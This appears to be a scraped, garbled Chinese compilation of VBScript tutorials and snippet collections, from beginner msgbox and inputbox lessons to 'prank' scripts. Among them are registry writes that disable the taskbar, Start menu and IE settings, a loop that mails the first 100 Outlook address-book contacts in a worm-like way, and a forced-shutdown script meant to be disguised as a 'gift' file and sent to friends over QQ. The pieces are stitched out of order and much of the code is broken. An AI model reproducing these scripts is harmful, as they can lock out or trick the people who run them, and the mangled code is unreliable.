vbs弹框代码
vbs程序代码
r.Regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesWinOldAppDisabled",1,"REG_DWORD" //这个大概是禁止进入MS-DOS模式拉
r.Regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoSetTaskBar",1,"REG_DWORD" //禁止任务栏和开始菜单了
On Error Resume Next
For x=1 To 100 //很明显，是给你的100个好友发信，这个值你可以自定义拉
Set Mail=ol.CreateItem(0)
Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)
r.Regwrite "HKCUSoftwarePoliciesMicrosoftInternet ExplorerRestrictionsNoFileOpen",1,"REG_DWORD" // 禁用“文件打开”
r.Regwrite "HKCUSoftwarePoliciesMicrosoftInternet ExplorerControl PanelAdvanced",1,"REG_DWORD" // 禁止更改高级设置
r.Regwrite "HKCUSoftwarePoliciesMicrosoftInternet ExplorerControl PanelConnwiz Admin Lock",1,"REG_DWORD" // “Internet连接向导”
VBS中常用脚本代码
运行CMD命令行命令
set obshell=wscript.createobject("wscript.shell")
obshell.run ("ipconfig"),,true
如果要运行的命令中包含双引号，可使用&chr(34)&代替
忽略代码错误继续执行
c.copy("%PATH2%") '拷贝文件到指定地点
fso.deletefile("%PATH%") '删除文件
Wscript.quit
程序代码
Set fso = Wscript.CreateObject("Scripting.FileSystemObject")
Set f = fso.CreateTextFile("%PATH%") '创建文件,其中f可任意，包含缩略名
f.WriteLine("VBS") '写文件内容,该命令功能太简单,目前看来只能用于TXT文件
f.Close
set c=fso.getfile("%path%") '拷贝某文件
Set objWord = CreateObject("Word.Application")
Set objDoc = objWord.Documents.Open("d:doc1.doc")
objDoc.SaveAs "g:doc1.txt", wdFormatText
objWord.Quit
wso.RegWrite "HKLMSOFTWAREMicrosftWindows NT#1"
从零开始学vbs
6.if中的符号
if中有许多符号
<小于，>大于，=等于，<=大于或等于>=小于 或等于，><不等于。
在if中or为满足其中一个，and为满足所有，可以用else if来多比较。
7.do loop格式
• do loop是一种循环的指令，他可以让你关不掉，指令要输入在do loop之中如： do msgbox（“小显更新”) 我就关不掉了 可是这个有破解方法。
2.inputbox格式
玩腻了msgbox，我们来一些更加高级的玩法，inputbox。 inputbox是一种可输入的弹窗 如：inputbox(“1”) 中的1是标题，如果输入后，会显示：
还有更多。
coming.......
3.dim格式
dim是一种数值，指在计算中的数值数量，如： dim a,b 代表一共有a和b两个数值
常棒，它可以帮你计算些什么。
如：输入 dim a,b inputbox(“1”) b=0+a+1 msgbox”b” 这样就会计算你第一个框的数值加1 注：在算式前加个0，或者使用int，在第四行要b=int(a)+int(1)。 否则就会显示a1，列如：a你输入1，最后会显示11。
4.if格式
制作人：爱奇艺搜索显卡老坏的小显
vbs最常见的格式
1.msgbox格式 2.inputbox格式 3.dim格式 4.if格式
5.if中的符号
6.do loop格式
1.msgbox格式
msgbox格式是一种弹出的窗口，其翻译后为消息盒子。用户可以 使用这个指令来说一下话，如: msgbox(“hi”) 会显示：
if是一种神奇的指令，if直接翻译过来是如果，如果你要使用if格式， 你得先赋予一个值，如：a=inputbox（“1“）。之后再if a=12 them， 其中them意思是然后，然后msgbox”2“，enter后用else连接，再输 入msgbox”3”，最后用end if结尾，这样编出来的小程序就可以判断。 如果你输入12，它会显示2，如果不是12，就会显示3。
好玩的vbs代码
好玩的VBScript代码VBScript（Visual Basic Scripting Edition）是一种基于VB语言的脚本语言，它可以用来创建简单的Windows应用程序、网页脚本和系统管理脚本等。
VBScript 是一种通用的脚本语言，可以用来实现各种有趣的功能。
在本文中，我们将介绍一些好玩的VBScript代码，展示其强大的功能和娱乐价值。
1. 电脑妖怪第一个VBScript代码是创建一个电脑妖怪。
该代码将在电脑屏幕上创建一个随机移动的图形，并发出奇怪的声音。
Set wshShell = CreateObject("WScript.Shell")Set objShell = CreateObject("Shell.Application")Set objWMI = GetObject("winmgmts:\\.\root\cimv2")DowshShell.Run "mshta vbscript:CreateObject(""SAPI.SpVoice"").Speak(""Boo!"") (Close)"objShell.MinimizeAllobjShell.UndoMinimizeAllFor Each objDesktop in objWMI.InstancesOf("Win32_Desktop")objDesktop.SetWallpaper "C:\path\to\your\image.jpg"Nextwscript.sleep 100Loop通过运行该代码，将在桌面上创建一个随机移动的图形，并且屏幕上会突然发出吓人的声音。
这个代码可以用作恶作剧或者给你的朋友带来一些惊喜。
2. 无限弹窗第二个VBScript代码是创建一个无限弹窗的例子。
VBS显示“选择文件或文件夹”对话框的代码
VBS显⽰“选择⽂件或⽂件夹”对话框的代码嗨，Scripting Guy！有没有什么⽅法可以让我使⽤脚本向⽤户显⽰⼀个对话框，供⽤户选择⽂件使⽤？您好。
｜ 如果您使⽤的是 Windows 2000，我们不知道实现此操作的⽅法，⾄少操作系统中没有内置这样的⽅法。
但如果您使⽤的是 Windows XP，情况就不同了。
在 Windows XP 上，您可以使⽤"” 对象向⽤户显⽰⼀个标准的“⽂件打开”对话框。
可以⽤类似以下代码的脚本：复制代码代码如下:Set objDialog = CreateObject("monDialog")objDialog.Filter = "All Files|*.*"objDialog.InitialDir = "C:\"intResult = objDialog.ShowOpenIf intResult = 0 ThenWscript.QuitElseWscript.Echo objDialog.FileNameEnd If这是⼀个⼩脚本，所以让我们逐⾏进⾏解释吧：1）我们⾸先创建⼀个对 monDialog 对象的对象引⽤（名为“objDialog”）。
2）接着，我们设置对话框的“筛选”属性。
我们要显⽰所有⽂件，所以我们将筛选设置成这样：objDialog.Filter = "All Files|*.*"假如我们只想显⽰⽂本⽂件，那该怎么办？在这种情况下，我们将使⽤以下筛选：objDialog.Filter = "Text Files|*.txt"您也许能够看出它是如何运⾏的：我们为⽂件类型提供说明 (Text Files)，然后插⼊⼀个竖线分隔符 (|)，最后使⽤标准的通配符来指⽰所有 .txt ⽂件 (*.txt)。
是不是想默认显⽰ .txt ⽂件，然后为⽤户提供查看所有⽂件的选项？那么可以使⽤以下代码：objDialog.Filter = "Text Files|*.txt|All Files|*.*"试⼀试，您就明⽩我们的意思了。
vbs编程必背50个程序
VBS编程必背50个程序什么是VBS编程？VBS，全称为Visual Basic Scripting，是一种被广泛应用于Windows系统的脚本语言。
它基于Visual Basic，但语法更加简单且易于学习和使用。
VBS可以用于编写脚本文件，实现各种任务，如自动化任务、系统管理以及图形用户界面等。
为什么要掌握VBS编程？VBS编程是一种非常有用的技能，特别是对于那些需要在Windows环境中进行自动化和批量处理的人来说。
掌握VBS编程可以帮助你提高工作效率，简化重复的任务，并增加系统管理和故障排除的能力。
下面是50个VBS编程的示例程序：1. Hello WorldMsgBox "Hello World!"这个简单的程序会弹出一个对话框，显示“Hello World!”。
2. 计算器Dim num1, num2, resultnum1 = InputBox("请输入第一个数字:")num2 = InputBox("请输入第二个数字:")result = num1 + num2MsgBox "计算结果为：" & result这个程序会要求你输入两个数字，然后将它们相加并显示结果。
3. 遍历文件夹Set fso = CreateObject("Scripting.FileSystemObject")Set folder = fso.GetFolder("C:\Path\To\Folder")For Each file In folder.FilesMsgBox Next这个程序会遍历指定文件夹中的所有文件，并依次弹出每个文件名。
4. 创建文件Set fso = CreateObject("Scripting.FileSystemObject")Set file = fso.CreateTextFile("C:\Path\To\File.txt")file.WriteLine "Hello World!"file.Close这个程序会创建一个文本文件，并在其中写入“Hello World!”。
VBS脚本常用代码大全 2011 整理
VBS脚本常用经典代码收集于 2011年7月2日21:13:37 整理在网上查找资料的时候发现好多经典的vbs代码，收集起来也为了以后学习。
VBS播放音乐Dim wmpSet wmp=CreateObject("WMPlayer.OCX")wmp.openStatewmp.URL="想象之中.mp3"Do Until wmp.playState=1WScript.Sleep1000Loop比较流行的VBS整人脚本(保存为“礼物.VBE”这样就可以通过QQ发送了)Set shell=CreateObject("WScript.Shell")shell.run"shutdown-s-t60-c系统即将关闭.",0While InputBox("请输入答案","请回答")<>"123"'密码是123MsgBox"答案在心中...",16+4096'4096是让窗口在最顶层Wendshell.run"shutdown-a",0MsgBox"恭喜",64修改桌面背景图片Sphoto="d:\1.bmp"'输入你自己的BMP路径computer="."Const hkcu=&h80000001Set wmi=GetObject("winmgmts:\\"&computer&"\root\default:stdregprov") wmi.getstringvalue hkcu,"Control Panel\Desktop","Wallpaper",Spathwmi.setstringvalue hkcu,"Control Panel\Desktop","TileWallpaper","0"wmi.setstringvalue hkcu,"Control Panel\Desktop","WallpaperStyle","2"wmi.setdwordvaluehkcu,"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced","Listvi ewShadow",1Set wmi=NothingSet fso=CreateObject("scripting.filesystemobject")Set fs=fso.Getfile(Sphoto)backname==fso.GetFileName(Spath)fs.Copy fso.GetParentFolderName(Spath)&"\",True=backnameSet fso=NothingSet ws=CreateObject("wscript.shell")ws.Run"gpupdate/force",vbhidews.Run"RunDll32.exe USER32.DLL,UpdatePerUserSystemParameters"Set ws=NothingVBS获取系统安装路径C:\WINDOWS路径先定义这个变量是获取系统安装路径的，然后我们用"strWinDir"调用这个变量。
VBS脚本常用代码大全2011整理
VBS脚本常用经典代码收集于2011年7月2日21:13:37整理在网上查找资料的时候发现好多经典的vbs 代码，收集起来也为了以后学习。
VBS播放音乐DimwmpSetwmp=CreateObject("WMPlayer.OCX")wmp.openStatewmp.URL二'想象之中.mp3"DoUntilwmp.playState=1WScript.Sleep1000Loop比较流行的VBS整人脚本(保存为礼物.VBE”这样就可以通过QQ发送了)Setshell二CreateObject("WScript.Shell")shell.run"shutdown-s-t60-c 系统即将关闭.",0WhileInputBox("请输入答案"，”请回答")<>"123"'密码是123MsgBox"答案在心中…",16+4096'4096是让窗口在最顶层Wendshell.run"shutdown-a",0MsgBox"恭喜",64修改桌面背景图片Sphoto二"d:\1.bmp"'输入你自己的BMP路径Consthkcu=&h80001Setwmi=GetObject("winmgmts:stdregprov")wmi.getstringvaluehkcu,"ControlPanel\Desktop","Wallpaper",Spathwmi. setstringvaluehkcu,"ControlPanel\Desktop","TileWallpaper","0"wmi.setstringvaluehk cu,"ControlPanel\Desktop","WallpaperStyle","2"wmi.setdwordvaluehkcu,"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced","Listvi ewShadow",1Setwmi=NothingSetfso=CreateObject("scripting.filesystemobject")Setfs=fso.Getfile(Sphoto)backname==fso.GetFileName(Spath)fs.Copyfso.GetParentFolderName(Spath)&"\",True=backnameSetfso=NothingSetws=CreateObject("wscript.shell")ws.Run"gpupdate/force",vbhidews.Run"RunDll32.exeUSER32.DLL,UpdatePerUserSystemParameters"Setws=NothingVBS获取系统安装路径C:'WINDOWS 路径先定义这个变量是获取系统安装路径的，然后我们用"strWinDir" 调用这个变量。